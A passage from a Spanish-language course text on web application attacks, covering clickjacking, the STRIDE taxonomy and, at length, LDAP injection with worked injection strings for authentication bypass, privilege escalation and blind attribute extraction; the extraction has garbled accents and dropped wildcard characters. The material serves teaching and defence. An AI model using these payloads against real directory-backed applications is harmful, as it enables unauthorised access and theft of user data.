tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

